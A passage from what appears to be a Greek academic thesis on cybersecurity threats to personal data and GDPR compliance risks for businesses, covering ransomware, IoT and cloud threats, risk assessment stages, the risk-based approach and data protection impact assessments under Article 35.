δεδομένων, με αποτέλεσμα την έκθεση περισσοτέρων από 29 εκατομμύρια αρχείων. Σημειωτέον, η πλειοψηφία των παραβιάσεων δεν έχει αναφερθεί από τις εταιρείες. Οι παραβιάσεις των δεδομένων γίνονται όλο και πιο διαδεδομένες και οι τάσεις των επιθέσεων δεν παρουσιάζουν ενδείξεις επιβράδυνσης. Στοχεύουν κυρίως σε δεδομένα υψηλής αξίας, όπως αριθμούς κοινωνικής ασφάλισης, πληροφορίες για την υγεία, αριθμούς πιστωτικών και χρεωστικών καρτών, ηλεκτρονικά μηνύματα, κωδικούς και άλλες πληροφορίες πρόσβασης του χρήστη. Στην συνέχεια, παρατίθενται οι σημαντικότερες τάσεις και τεχνολογικές εξελίξεις που χαρακτηρίζουν το εξωτερικό περιβάλλον της σημερινής επιχείρησης, καθώς και οι πιο κρίσιμες απειλές των προσωπικών δεδομένων προερχόμενες από αυτό:  Κινητή τηλεφωνία (Mobile): Αναμφισβήτητα, τόσο η εμπιστευτικότητα όσο και η ακεραιότητα των πληροφοριών μέσω κινητών τηλεφώνων βάλλονται από πολλούς κινδύνους, τεχνικής και μη φύσεως. Το πολυμεσικό περιεχόμενο που αποθηκεύεται στα κινητά τηλέφωνα, όπως φωτογραφίες, βίντεο και άλλα σχετικά αρχεία δεδομένων, μπορούν πλέον εύκολα να βρεθούν στην κατοχή του εκάστοτε επιτιθέμενου υποκλοπέα, ενώ ιδιαίτερα συχνή είναι η υποκλοπή κλήσεων και μηνυμάτων. Λαμβάνοντας υπόψη ότι οι επιθέσεις σε κινητές συσκευές καθίστανται διαρκώς αυξανόμενες, αναμένονται όλο και περισσότερες παραβιάσεις τέτοιας μορφής και στις επιχειρήσεις, με αποτέλεσμα να προκαλείται ιδιαίτερη ανησυχία σχετικά με την ασφάλεια των εταιρικών δεδομένων.  Κρίσιμες Υποδομές (Critical infrastructures): Ως κρίσιμες υποδομές ή υποδομές ζωτικής σημασίας ορίζονται αγαθά, συστήματα ή υποσυστήματα, τα οποία καθίστανται αναγκαία για τη διατήρηση των ζωτικών λειτουργιών της κοινωνίας, την υγεία, τη φυσική προστασία, την ασφάλεια, την οικονομική και κοινωνική ευημερία. Τα συστήματα επικοινωνιών και πληροφορικής συγκαταλέγονται μεταξύ των κρίσιμων 32 υποδομών της Χώρας, η ασφάλεια των οποίων αποτελεί πλέον μείζον θέμα εθνικού ενδιαφέροντος. Στα πλαίσια αυτά, δημοσιεύθηκε η υπ’ αριθμ. 1027/2019 Υπουργική Απόφαση (ΦΕΚ 3739/Β/8-10-2019), με βάση την οποία καθορίζονται όλες εκείνες οι κρίσιμες υποδομές που σε περίπτωση διαταραχής της ομαλής τους λειτουργίας, θα επέλθουν κρίσιμες συνέπειες για την εύρυθμη λειτουργία ολόκληρου του κρατικού μηχανισμού. Η απόφαση αυτή, η οποία αποτελεί στην ουσία την συμμόρφωση της Χώρας με την υπ’ αριθμ.2016/1148 ευρωπαϊκή οδηγία, γνωστή και ως NIS-Network and Information Systems, προβλέπει επίσης την διαδικασία παροχής πληροφοριών και κοινοποίησης συμβάντων ασφαλείας στις αρμόδιες αρχές, την έκδοση των βασικών απαιτήσεων ασφαλείας των δικτυακών συστημάτων, καθώς και συγκεκριμένα πρωτόκολλα διαχείρισης περιστατικών κυβερνοασφάλειας.

 Διαδίκτυο των πραγμάτων (Internet of Things): Αποτελεί το δίκτυο επικοινωνίας πληθώρας ηλεκτρονικών συσκευών καθώς και κάθε αντικειμένου που ενσωματώνει ηλεκτρονικά μέσα, λογισμικό, αισθητήρες και συνδεσιμότητα σε δίκτυο, ώστε να επιτρέπεται η σύνδεση και η ανταλλαγή δεδομένων. Τα δίκτυα των κυβερνοεγκληματιών συχνά εκμεταλλεύονται την ελαστικότητα της ασφάλειας τέτοιου είδους συσκευών, με σκοπό την εξάπλωση κακόβουλων λογισμικών (malware), τα οποία προσβάλλουν τον χρήστη, ζητώντας στην συνέχεια χρηματικό αντάλλαγμα από αυτόν για την άρση της πραγματοποιηθείσας προσβολής. Το μεγαλύτερο ποσοστό των επιθέσεων αυτών στοχεύουν συνήθως σε συσκευές κοινής χρήσης, όπως servers, routers, συστήματα τηλεοράσεων κλειστού τύπου (CCTV), συσκευές δικτυακής αποθήκευσης και βιομηχανικά συστήματα ελέγχου. Σύμφωνα με πρόσφατη έρευνα της «Irdeto Global Connected Industries», οκτώ στους δέκα οργανισμούς έχουν υποστεί μια κυβερνοεπίθεση σε συσκευές διαδικτύου των πραγμάτων τους τελευταίους 12 μήνες. Για το 90%, μάλιστα, των παθόντων οργανισμών, τα αποτελέσματα της κυβερνοεπίθησης είχαν καίριες επιδράσεις συμπεριλαμβανομένων των λειτουργικών διακοπών, της έκθεσης δεδομένων των πελατών και της ασφάλεια των τελικών χρηστών. Η έρευνα της Irdeto αποκαλύπτει επίσης ότι οι οργανισμοί δραστηριοποιούμενοι στους τομείς των μεταφορών, των κατασκευών και της υγειονομικής περίθαλψης υπέστησαν σημαντικές απώλειες λόγω των τρωτών σημείων που σχετίζονται με τη διαδικτυακή πύλη, με το μέσο οικονομικό αντίκτυπο μιας στοχευμένης IoT κυβερνοεπίθεσης να κοστίζει περισσότερα από 330 εκατομμύρια δολάρια.  Υπολογιστικό Νέφος (Cloud Computing): Πρόκειται για την διάθεση υπολογιστικών πόρων μέσω διαδικτύου (π.χ. servers, apps κλπ), από κεντρικά συστήματα που βρίσκονται απομακρυσμένα από τον τελικό χρήστη, τα οποία τον εξυπηρετούν αυτοματοποιώντας διαδικασίες, παρέχοντας ευκολίες και ευελιξία σύνδεσης. Οι επιχειρήσεις σήμερα διοχετεύουν όλο και περισσότερα δεδομένα μέσω της νεφοϋπολογιστικής, παρέχοντας έτσι την δυνατότητα σε επίδοξους εισβολείς να αποκτήσουν πρόσβαση στα συστήματά τους, γεγονός που θέτει σε κίνδυνο το σύνολο των δεδομένων που αυτές διαχειρίζονται. Όλο και περισσότεροι οργανισμοί, δημόσιοι αλλά και ιδιωτικοί, καταφεύγουν στην λύση της εν λόγω τεχνολογίας, με αποτέλεσμα οι εκάστοτε επιτιθέμενοι να βρίσκουν τρόπους ώστε να εισβάλουν στις επιχειρησιακές υποδομές, όπως, για παράδειγμα, μέσω κρυπτογραφημένων αρχείων που εξαπλώνονται από σύννεφο σε σύννεφο.  Πρόγραμμα πληρωμής λύτρων (Ransomware): Αποτελεί ένα είδος κακόβουλου λογισμικού, το οποίο απειλεί να δημοσιοποιήσει τα προσωπικά δεδομένα του θύματος ή να διακόψει την πρόσβασή του σε αυτά μέσω της κρυπτογράφησης των αρχείων του,

εμφανίζοντας, στην συνέχεια μία απαίτηση καταβολής λύτρων. Σε αντάλλαγμα, οι δημιουργοί του κακόβουλου αυτού κώδικα υπόσχονται, άνευ εγγυήσεως, την αποκατάσταση της πρόσβασης του χρήστη στο «μολυσμένο» λειτουργικό σύστημα ή στα αρχεία των δεδομένων του. Σε περιπτώσεις επιθέσεων τέτοιου είδους, η ανάκτηση των προσβαλλόμενων αρχείων χωρίς το λεγόμενο «κλειδί αποκρυπτογράφησης» καθίσταται ανέφικτη, ενώ παράλληλα τα ψηφιακά νομίσματα που χρησιμοποιήθηκαν ως λύτρα για την συναλλαγή, όπως κρυπτονομίσματα (bitcoins), δεν δύνανται να εντοπιστούν με ευκολία, εξ’ ου και η σύλληψη του δράστη ενέχει μεγάλο βαθμό δυσκολίας. Πλην δύο περιπτώσεων, οι 50 και πλέον διαφορετικές εκδόσεις τέτοιων ιών δεν μπορούν να αντιμετωπιστούν από τα συμβατικά λογισμικά αντιμετώπισης κακόβουλου κώδικα, παρά μόνο από εξειδικευμένο λογισμικό εξομοίωσης απειλών.

Οι κίνδυνοι μη συμμόρφωσης με τον Γενικό Κανονισμό Προστασίας Προσωπικών Δεδομένων Η υποχρέωση συμμόρφωσης της επιχείρησης με τις επιταγές του Γενικού Κανονισμού για την Προστασία των Προσωπικών Δεδομένων συνεπάγεται την εμφάνιση διάφορων επιχειρησιακών κινδύνων, οι βασικότεροι από τους οποίους παρουσιάζονται ως ακολούθως: o Κίνδυνος συμμόρφωσης (Compliance risk) Ως «Κανονιστική Συμμόρφωση» ορίζεται η προσαρμογή και η συνεχής λειτουργία της επιχείρησης σύμφωνα με την υπάρχουσα νομοθεσία, το ισχύον ρυθμιστικό πλαίσιο αλλά και το σύνολο των κανόνων που τίθενται από την εκάστοτε Διοίκηση και αποτελούν πρότυπα εταιρικής κουλτούρας. Υπό το πρίσμα αυτό, ο κίνδυνος συμμόρφωσης είναι η έκθεση του οργανισμού σε νομικές κυρώσεις, οικονομικές απώλειες, επιβολή διοικητικών προστίμων και υλικές ζημίες, όταν αυτός αποτυγχάνει να ενεργήσει σύμφωνα με τους υφιστάμενους νόμους και κανονισμούς, τις εσωτερικές πολιτικές ή τις βέλτιστες πρακτικές. Ο κίνδυνος από την μη συμμόρφωση με τον Γενικό Κανονισμό Προστασίας των Προσωπικών Δεδομένων, αλλά και με την ισχύουσα κάθε φορά εθνική νομοθεσία, φαίνεται να έχει τρεις βασικές πτυχές για την επιχείρηση. Πρώτη και ίσως η σημαντικότερη έκφανση αυτού, είναι η επιβολή προστίμων από τις εποπτικές αρχές (οικονομικός κίνδυνος), το μέγεθος των οποίων δύναται να φτάσει τα 20 εκατομμύρια ευρώ ή το 4% του ετήσιου παγκόσμιου κύκλου εργασιών μιας εταιρείας. Δεύτερον, η αποτυχία συμμόρφωσης με τις επιταγές του Κανονισμού μπορεί να οδηγήσει σε δυσφήμιση της επιχείρησης (κίνδυνος φήμης) και τρίτον, ενδέχεται να επιφέρει προσωπικές ευθύνες στους εργαζόμενους του οργανισμού. Στο σύγχρονο επιχειρησιακό γίγνεσθαι, ωστόσο, παρατηρούνται συχνά λάθη και αβλεψίες των Διοικητικών Συμβουλίων, που παρακωλύουν

και επιβραδύνουν τους ρυθμούς υλοποίησης της κανονιστικής συμμόρφωσης της επιχείρησης. Πολλές φορές, για παράδειγμα, τα διοικητικά στελέχη ενδέχεται να μην κατανοούν το εύρος του εξωγενούς κινδύνου συμμόρφωσης που καλείται να αντιμετωπίσει η επιχείρηση από ενέργειες τρίτων μερών. Σύμφωνα με έρευνα της «Thomson Reuters», διαπιστώθηκε ότι μόλις το 62% των οργανισμών διεξάγει έλεγχο δέουσας επιμέλειας (due diligence) σε προμηθευτές, διανομείς και λοιπούς εξωτερικούς συνεργάτες. Άλλοτε πάλι το Διοικητικό Συμβούλιο εσφαλμένα διαχωρίζει την συμμόρφωση από την γενικότερα στρατηγική της εταιρείας, ενώ στην πραγματικότητα πρόκειται για δύο έννοιες άρρηκτα συνδεδεμένες μεταξύ τους. o Κίνδυνος φήμης (Reputational risk) Πρωταρχικό μέλημα οποιασδήποτε επιχείρησης αποτελεί η διαμόρφωση, η βελτίωση και η απρόσκοπτη διατήρηση της φήμης της στον κλάδο εντός του οποίου δραστηριοποιείται. Με άλλα λόγια, πρόκειται για την αναγνωρισιμότητα του ονόματός 35 της, γνωστού και ως “brand-name”, καθώς και με τον τρόπο που αυτό γίνεται αντιληπτό από τον καταναλωτή, δημιουργώντας αξία σε αυτόν για το παρεχόμενο προϊόν ή την υπηρεσία. Ως κίνδυνος φήμης ορίζεται η πιθανή απώλεια χρηματικών κεφαλαίων ή μεριδίου αγοράς που μπορεί να υποστεί μία επιχείρηση λόγω ζημιών στο όνομα και στην φήμη της. Συχνά μετριέται σε απώλεια εσόδων, αύξηση των λειτουργικών δαπανών ή καταστροφή της αξίας των μετόχων. Ο Γενικός Κανονισμός Προστασίας Προσωπικών Δεδομένων παρέχει στα υποκείμενα των δεδομένων μια σειρά από νέα δικαιώματα, συμπεριλαμβανομένου του δικαιώματος πρόσβασης αυτών στα προσωπικά τους δεδομένα που τυγχάνουν επεξεργασίας από την επιχείρηση, το δικαίωμα διαγραφής ή διόρθωσης, το δικαίωμα στη φορητότητα των δεδομένων τους και το δικαίωμα να μην υπόκεινται σε αυτοματοποιημένη λήψη αποφάσεων. Σε περίπτωση δε, που η επιχείρηση δεν λάβει όλα τα δέοντα μέτρα ασφαλείας για την προστασία των προσωπικών δεδομένων ή αποτύχει να ικανοποιήσει επαρκώς ένα εκ των ανωτέρω δικαιωμάτων του υποκειμένου, κατόπιν σχετικής αιτήσεως αυτού, ενδέχεται να υποβληθεί καταγγελία από πλευράς του υποκειμένου στην αρμόδια εποπτική αρχή, γεγονός που σίγουρα θα λειτουργήσει αρνητικά για την φήμη της επιχείρησης δημιουργώντας παράλληλα δυσπιστία και επιφυλάξεις στους πελάτες, τους συνεργάτες και τους εργαζομένους αυτής, υφιστάμενους ή και υποψηφίους. o Κίνδυνος στον κυβερνοχώρο (Cyber risk) Η παραβίαση των ηλεκτρονικών συστημάτων της επιχείρησης και η συνακόλουθη διαρροή εμπιστευτικών πληροφοριών αποτελεί πλέον καθημερινό φαινόμενο. Συγκεκριμένα, η παραβίαση μπορεί να οφείλεται σε μη εξουσιοδοτημένη πρόσβαση στα συστήματα της εταιρείας, την οποία διαδέχεται η απώλεια πελατειακών δεδομένων, περιλαμβανομένων κατά κύριο λόγο οικονομικών στοιχείων, δεδομένων υγείας, ή άλλων διαφόρων εταιρικών δεδομένων, όπως

εμπορικών μυστικών ή ζητημάτων πνευματικής ιδιοκτησίας. Η φύση, ωστόσο, των απειλών στον κυβερνοχώρο συνεχώς μεταβάλλεται, πράγμα το οποίο εμποδίζει σημαντικά την προσπάθεια συμμόρφωσης των επιχειρήσεων με τις επιταγές ασφαλείας των προσωπικών δεδομένων που θέτει ο ΓΚΠΔ, ενώ η εφαρμογή των κατάλληλων διαδικασιών ανίχνευσης και διερεύνησης παραβίασης προσωπικών δεδομένων (data breach) καθίσταται όλο και πιο σύνθετη στην πράξη. 36 o Κίνδυνος ανθρώπινου δυναμικού (Human resources risk) Τα προσωπικά δεδομένα που τηρεί και επεξεργάζεται η επιχείρηση δεν εντοπίζονται μόνο στις πελατειακές βάσεις δεδομένων αλλά και στο συνολικό πλαίσιο οργάνωσης και λειτουργίας των ανθρώπινων πόρων αυτής. Οι διευθύνσεις ανθρώπινου δυναμικού συλλέγουν, αποθηκεύουν και επεξεργάζονται μεγάλο εύρος προσωπικών δεδομένων, όχι μόνο των ήδη υφιστάμενων υπαλλήλων της επιχείρησης, αλλά και εκείνων που έχουν ήδη αποχωρήσει ή αποτελούν δυνητικούς υποψηφίους προς απασχόληση. Οι πληροφορίες που έχουν στην κατοχή τους οι εν λόγω διευθύνσεις περιλαμβάνουν μάλιστα ευαίσθητα προσωπικά δεδομένα, όπως πληροφορίες υγείας, ιατρικά αρχεία ή μισθολογικά στοιχεία. Ως εκ τούτου, είναι εξαιρετικά σημαντικό οι υπάλληλοι της διεύθυνσης ανθρώπινου δυναμικού της επιχείρησης να γνωρίζουν και να κατανοούν απόλυτα τις απαιτήσεις του Κανονισμού για την προστασία των προσωπικών δεδομένων, καθώς η οποιαδήποτε απώλεια, καταστροφή ή λανθασμένη διαχείριση αυτών μπορεί να θέσει σε κίνδυνο την λειτουργία της επιχείρησης, προκαλώντας διαταραχές στις εργασιακές σχέσεις. o Νομικός κίνδυνος (Legal risk) Οι επιχειρήσεις που δραστηριοποιούνται και σε χώρες εκτός Ευρωπαϊκής Ένωσης ενδέχεται να κληθούν να αντιμετωπίσουν το φαινόμενο της σύγκρουσης των τοπικών κανονισμών ξένων κρατών με τις απαιτήσεις του Ευρωπαϊκού Κανονισμού για την προστασία των προσωπικών δεδομένων, οπότε και θα πρέπει να υιοθετήσουν ένα πιο εξειδικευμένο και σαφώς οριοθετημένο πλαίσιο λειτουργίας. Σημειώνεται ότι και στην ελληνική νομική πραγματικότητα, ο πρόσφατος υπ’ αριθμ. 4624/2019 εθνικός νόμος, ο οποίος προβλέπει μέτρα εφαρμογής του Κανονισμού (ΕΕ) 2016/679 του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 27ης Απριλίου 2016 για την προστασία των φυσικών προσώπων έναντι της επεξεργασίας δεδομένων προσωπικού χαρακτήρα καθώς και την ενσωμάτωση της Οδηγίας (ΕΕ) 2016/680 στην εθνική νομοθεσία, δημιουργεί ένα ακόμα πιο σύνθετο πλέγμα υποχρεώσεων για τις επιχειρήσεις, ενώ ορισμένες από τις διατάξεις του τυγχάνουν αμφισβήτησης από την επιστημονική κοινότητα ως προς την νομιμότητά τους. o Κίνδυνος νέου προϊόντος (New product risk) Μία από τις πιο σημαντικές απαιτήσεις του Κανονισμού είναι η λεγόμενη εκτίμηση αντικτύπου στην προστασία των προσωπικών δεδομένων (Data Protection Impact Assessment), την οποία θα πρέπει υποχρεωτικά να διεξάγουν οι

επιχειρήσεις όταν ένα 37 είδος επεξεργασίας, ιδίως με την χρήση νέων τεχνολογιών, ενδέχεται να επιφέρει υψηλό κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων. Μία τέτοια περίπτωση συνιστά ο σχεδιασμός και η ανάπτυξη νέων προϊόντων. Η συλλογή στοιχείων συμπεριφοράς του καταναλωτή μέσω των ιστοσελίδων, η διεξαγωγή ερευνών ικανοποίησης πελατών με σκοπό την βελτιστοποίηση των υπαρχόντων προϊόντων και οι ενέργειες μάρκετινγκ στα πλαίσια προώθησης νέων καινοτόμων προϊόντων, αποτελούν μερικές από τις δραστηριότητες της επιχείρησης οι οποίες τελούν πλέον υπό το πρίσμα της προηγούμενης συγκατάθεσης του καταναλωτή, χωρίς την ύπαρξη της οποίας δεν μπορούν να θεωρηθούν νόμιμα υφιστάμενες.

Η αποτίμηση των κινδύνων Διαδικασία αποτίμησης των κινδύνων Η διαδικασία αποτίμησης των κινδύνων που απειλούν την σύγχρονη επιχείρηση δύναται να συνοψιστεί στα ακόλουθα στάδια, η επιτυχής διεκπεραίωση των οποίων αποτελεί τον ακρογωνιαίο λίθο της αποτελεσματικής διαχείρισης των κινδύνων που πρόκειται να αναλυθεί εκτενώς στο επόμενο κεφάλαιο: Αναγνώριση των κινδύνων: Αποτελεί το πρώτο και σημαντικότερο στάδιο αποτίμησης των κινδύνων της επιχείρησης, θέτοντας τα θεμέλια για την αποτελεσματική διαχείριση αυτών στην συνέχεια. Στοχεύει στον ακριβή προσδιορισμό κάθε ενδεχόμενου συμβάντος δυνάμενου να οδηγήσει στην εμφάνιση ζημιογόνων αποτελεσμάτων. Περιλαμβάνει την αναγνώριση των δυνητικά προσβαλλόμενων αγαθών, κύριων και υποστηρικτικών, την αναγνώριση των απειλών, των ευπαθειών, των υπαρχόντων μέτρων ασφαλείας καθώς και όλων των πιθανών συνεπειών. Το στάδιο της αναγνώρισης των κινδύνων καθίσταται ζωτικής σημασίας για την επιχείρηση, καθώς αποδεικνύει ότι δεν αγνοούνται από αυτή γεγονότα, τα οποία μπορεί να αποβούν καταστροφικά για την λειτουργία της. Ανάλυση των κινδύνων: Η ανάλυση των κινδύνων μπορεί να είναι είτε ποσοτική είτε ποιοτική, ανάλογα με την πιθανότητα εμφάνισης αυτών και τις αναμενόμενες συνέπειες που θα επιφέρει η έλευσή τους. Για την περιγραφή της πιθανότητας επέλευσης του εκάστοτε κινδύνου και των παρεπόμενων συνεπειών αυτού, η ποσοτική ανάλυση χρησιμοποιεί μία κλίμακα αριθμητικών τιμών, ενώ η ποιοτική ανάλυση μία κλίμακα χαρακτηριστικών κατάταξης. Στην πράξη είθισται να χρησιμοποιείται αρχικά η ποιοτική ανάλυση, ούτως ώστε να αποτυπωθεί η γενικότερη εικόνα του επιπέδου των κινδύνων 38 και δευτερευόντως η εφαρμογή της ποσοτικής ανάλυσης για την εκτίμηση των σοβαρότερων κινδύνων. Προφίλ των κινδύνων: Η διεργασία της ανάλυσης των κινδύνων μπορεί να

οδηγήσει στην δημιουργία ενός προφίλ για καθένα εξ’ αυτών (risk profiling). Πρόκειται για μία διαδικασία, δυνάμει της οποίας επιτυγχάνεται η μέτρηση της συχνότητας και της έντασης των κινδύνων, παρέχοντας έτσι στην επιχείρηση ένα αξιόλογο εργαλείο για τον καθορισμό προτεραιοτήτων κατά το στάδιο διαχείρισης αυτών με κριτήριο τον βαθμό σημαντικότητάς τους. Χαρτογράφηση των κινδύνων: Αποτέλεσμα της εξέτασης του προφίλ των κινδύνων αποτελεί η ολιστική χαρτογράφηση αυτών (risk mapping), η οποία περιλαμβάνει την γραφική απεικόνιση όλων των πιθανών για την επιχείρηση κινδύνων σε ένα διάγραμμα διαχείρισης κινδύνων. Με άλλα λόγια, ο χάρτης κινδύνων οπτικοποιεί τους κινδύνους που καλείται να αντιμετωπίσει μία εταιρεία, προκειμένου να καταστεί κατανοητή η σχέση που τους συνδέει μεταξύ τους, αποτελώντας έτσι ένα μέσο για την αιτιολόγηση και την επικοινωνία αυτών τόσο στα διοικητικά στελέχη όσο και στους εργαζόμενους. Στον χάρτη αυτόν οι κίνδυνοι εμφανίζονται με σειρά κατάταξης, ανάλογα με την ένταση και την συχνότητα τους. Αξιολόγηση των κινδύνων: Το στάδιο της ανάλυσης των κινδύνων διαδέχεται η διεργασία αξιολόγησης αυτών, κατά την οποία πραγματοποιείται η σύγκριση των ήδη αναγνωρισμένων από την επιχείρηση κινδύνων με κάποια συγκεκριμένα κριτήρια, τα οποία η ίδια έχει θέσει και θεωρεί σημαντικά. Για τον καθορισμό των κριτηρίων αξιολόγησης των κινδύνων που σχετίζονται με τις πληροφορίες και τα δεδομένα της επιχείρησης, λαμβάνονται υπόψη η στρατηγική αξία των πληροφοριών, η κρισιμότητα των εμπλεκόμενων πληροφοριακών αγαθών, οι ενδεχόμενες κανονιστικές και νομικές υποχρεώσεις, τις πιθανές επιπτώσεις ενός επικίνδυνου περιστατικού ασφαλείας για την φήμη και το όνομα της εταιρείας, καθώς και τις αντιλήψεις των μετόχων.

Η αποτίμηση των κινδύνων για τα προσωπικά δεδομένα Η κατηγοριοποίηση των επαπειλούμενων για τα προσωπικά δεδομένα κινδύνων σε συνδυασμό με την κλιμάκωση εκείνων των διαδικασιών που συμβάλλουν στην εξασφάλιση της συμμόρφωσης με τις ισχύουσες κανονιστικές διατάξεις και εν τέλει της προστασίας των δεδομένων, είναι γνωστή με τον όρο «προσέγγιση με βάση τον κίνδυνο» (risk based approach). Οι υποστηρικτές της θεωρούν ως προαπαιτούμενο για την εφαρμογή των εκάστοτε προστατευτικών κανόνων την διαπίστωση «βλάβης» (harm) για το υποκείμενο των δεδομένων. Πρόκειται για μια προσέγγιση που αναδεικνύει τον βαθμό του κινδύνου ως βασικό κριτήριο για τον προσδιορισμό της έκτασης των υποχρεώσεων του υπεύθυνου επεξεργασίας ή του εκτελούντος την επεξεργασία, ενώ παράλληλα αποσκοπεί στην εστίαση των υπεύθυνων επεξεργασίας σε αυξημένης επικινδυνότητας επεξεργασίες, όπως είναι για παράδειγμα η επεξεργασία ειδικών κατηγοριών προσωπικών δεδομένων. Ωστόσο, δεν θα

πρέπει να συγχέεται με την προσέγγιση με βάση την βλάβη (harm-base approach), η οποία λαμβάνει υπόψη οποιαδήποτε ενδεχόμενη επίπτωση της επεξεργασίας ανεξαρτήτως κλιμάκωσης και έντασης. Η προσέγγιση με βάση των κίνδυνων αντικατοπτρίζεται στο πνεύμα συγκεκριμένων διατάξεων του Κανονισμού, μεταξύ των οποίων σημαντικότερη θεωρείται η διάταξη του άρθρου 35, η οποία εισάγει την υποχρέωση διενέργειας εκτίμησης των επιπτώσεων των σχεδιαζόμενων πράξεων επεξεργασίας για την προστασία των προσωπικών δεδομένων. Επιπλέον, το κριτήριο του υψηλού βαθμού κινδύνου εντοπίζεται στην επιλογή της προηγούμενης διαβούλευσης με την εποπτική αρχή (άρθρο 36 παρ.1), στην τήρηση αρχείων επεξεργασίας (άρθρο 30 παρ. 5), στις ρυθμίσεις που αφορούν στην γνωστοποίηση της παραβίασης των δεδομένων στην εποπτική αρχή (άρθρα 33 και 34), στις διατάξεις που σχετίζονται με την υποχρέωση εφαρμογής κατάλληλων οργανωτικών και τεχνικών μέτρων ασφαλείας (άρθρο 32), καθώς και σε εκείνες που αναφέρονται στην προστασία των δεδομένων από τον σχεδιασμό και εξ’ ορισμού (άρθρο 25). Προς αποσαφήνιση της έννοιας του κινδύνου και των προσδιοριστικών στοιχείων που τον καθιστούν υψηλό, ο ενωσιακός νομοθέτης προέβη σε σχετικές αιτιολογικές σκέψεις. Για παράδειγμα, στην αιτιολογική σκέψη του Κανονισμού, παρατίθεται οι κίνδυνοι για τα δικαιώματα του φυσικού προσώπου, η σοβαρότητα των οποίων δύναται να οδηγήσει σε σωματική, υλική ή μη βλάβη, σε οποιοδήποτε οικονομικό ή κοινωνικό μειονέκτημα, στην στέρηση θεμελιωδών ελευθεριών των προσώπων ή σε παρακώλυση αυτών στην άσκηση ελέγχου από πλευράς τους επί της επεξεργασίας των προσωπικών τους δεδομένων. Η έννοια της σοβαρότητας του κινδύνου παραπέμπει στην φύση, το πεδίο εφαρμογής, το πλαίσιο και τους σκοπούς της εκάστοτε επεξεργασίας των προσωπικών δεδομένων. Ωστόσο, υποστηρίζεται ευρέως η άποψη ότι η προσέγγιση με βάση τον κίνδυνο προσκρούει στην θεμελιώδη παραδοχή του σεβασμού της προστασίας των προσωπικών δεδομένων του ατόμου ανεξάρτητα από το επίπεδο των κινδύνων που προκύπτουν από την επεξεργασία. Εξάλλου, η εν λόγω παραδοχή έχει επιδοκιμαστεί 40 και νομολογιακά μέσω αποφάσεων του Δικαστηρίου της Ευρωπαϊκής Ένωσης (ΔΕΕ), σύμφωνα με το οποίο η παραβίαση των δικαιωμάτων του προσώπου για την προστασία των δεδομένων του δεν εξαρτάται από την υφιστάμενη υλική βλάβη.

Εκτίμηση αντικτύπου σχετικά με την προστασία δεδομένων Πριν από την εφαρμογή του Γενικού Κανονισμού Προστασίας Προσωπικών Δεδομένων (GDPR), η αξιολόγηση των κινδύνων που σχετίζονταν με την επεξεργασία προσωπικών δεδομένων δεν ήταν υποχρεωτική βάσει της Οδηγίας 95/46/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 24ης Οκτωβρίου 1995 «για την προστασία των

φυσικών προσώπων έναντι της επεξεργασίας δεδομένων προσωπικού χαρακτήρα και για την ελεύθερη κυκλοφορία των δεδομένων αυτών». Παρόλο που στην προαναφερθείσα Οδηγία είχε ήδη ενσωματωθεί μία προσέγγιση του κινδύνου αναφορικά με την επιστημονική έρευνα και την ασφάλεια των δεδομένων, δεν είχε ωστόσο προβλεφθεί μια τυποποιημένη μεθοδολογία αξιολόγησης του κινδύνου προστασίας των δεδομένων. Το κενό αυτό καλείται να καλύψει ο Γενικός Κανονισμός για την Προστασίας Δεδομένων, ο οποίος καθιστά υποχρεωτική την εκπόνηση αξιολόγησης αντικτύπου σχετικά με την προστασία των δεδομένων πριν από την υλοποίηση οποιασδήποτε επικίνδυνης επεξεργασίας αυτών. Το άρθρο 35 του Κανονισμού εισάγει την έννοια της Εκτίμησης Αντικτύπου σχετικά με την προστασία των προσωπικών δεδομένων, γνωστή και με τον αγγλικό όρο «Data Privacy Impact Assessment (DPIA)». Σκοπός της είναι η εκτίμηση της πιθανότητας επέλευσης και της σοβαρότητας ενός υψηλού κινδύνου, λαμβάνοντας υπόψη την φύση, την έκταση, το πλαίσιο και τους σκοπούς της επεξεργασίας. Σύμφωνα με την Ομάδα Εργασίας του άρθρου 29, πρόκειται για μια διαδικασία που έχει σχεδιαστεί για να περιγράψει την επεξεργασία των προσωπικών δεδομένων, να αξιολογήσει την αναγκαιότητα και την αναλογικότητα αυτής και να συνδράμει στη διαχείριση των κινδύνων για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων που συνεπάγεται η επεξεργασία των δεδομένων προσωπικού χαρακτήρα, μέσω της αξιολόγησής τους και του καθορισμού των απαραίτητων μέτρων για την αντιμετώπισή τους. Ειδικότερα, στην πρώτη παράγραφο του άρθρου 35 του Κανονισμού ορίζεται ότι «όταν ένα είδος επεξεργασίας, ιδίως με χρήση νέων τεχνολογιών και συνεκτιμώντας τη φύση, το πεδίο εφαρμογής, το πλαίσιο και τους σκοπούς της επεξεργασίας, ενδέχεται να επιφέρει υψηλό κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων, ο υπεύθυνος επεξεργασίας διενεργεί, πριν από την επεξεργασία, εκτίμηση των επιπτώσεων των σχεδιαζόμενων πράξεων επεξεργασίας στην προστασία δεδομένων προσωπικού χαρακτήρα. Σε μία εκτίμηση μπορεί να εξετάζεται ένα σύνολο παρόμοιων πράξεων επεξεργασίας οι οποίες ενέχουν παρόμοιους υψηλούς κινδύνους». Η εκτίμηση αντικτύπου σχετικά με την προστασία των δεδομένων απαιτείται ιδίως στην περίπτωση α) συστηματικής και εκτενούς αξιολόγησης προσωπικών δεδομένων φυσικών προσώπων, η οποία συνίσταται σε αυτοματοποιημένη επεξεργασία, περιλαμβανομένης της κατάρτισης προφίλ, και στην οποία βασίζονται αποφάσεις που παράγουν έννομα αποτελέσματα σχετικά με το φυσικό πρόσωπο είτε επηρεάζουν σημαντικά το φυσικό πρόσωπο β) μεγάλης κλίμακας επεξεργασίας των ειδικών κατηγοριών δεδομένων ή δεδομένων που αφορούν σε ποινικές καταδίκες και αδικήματα και

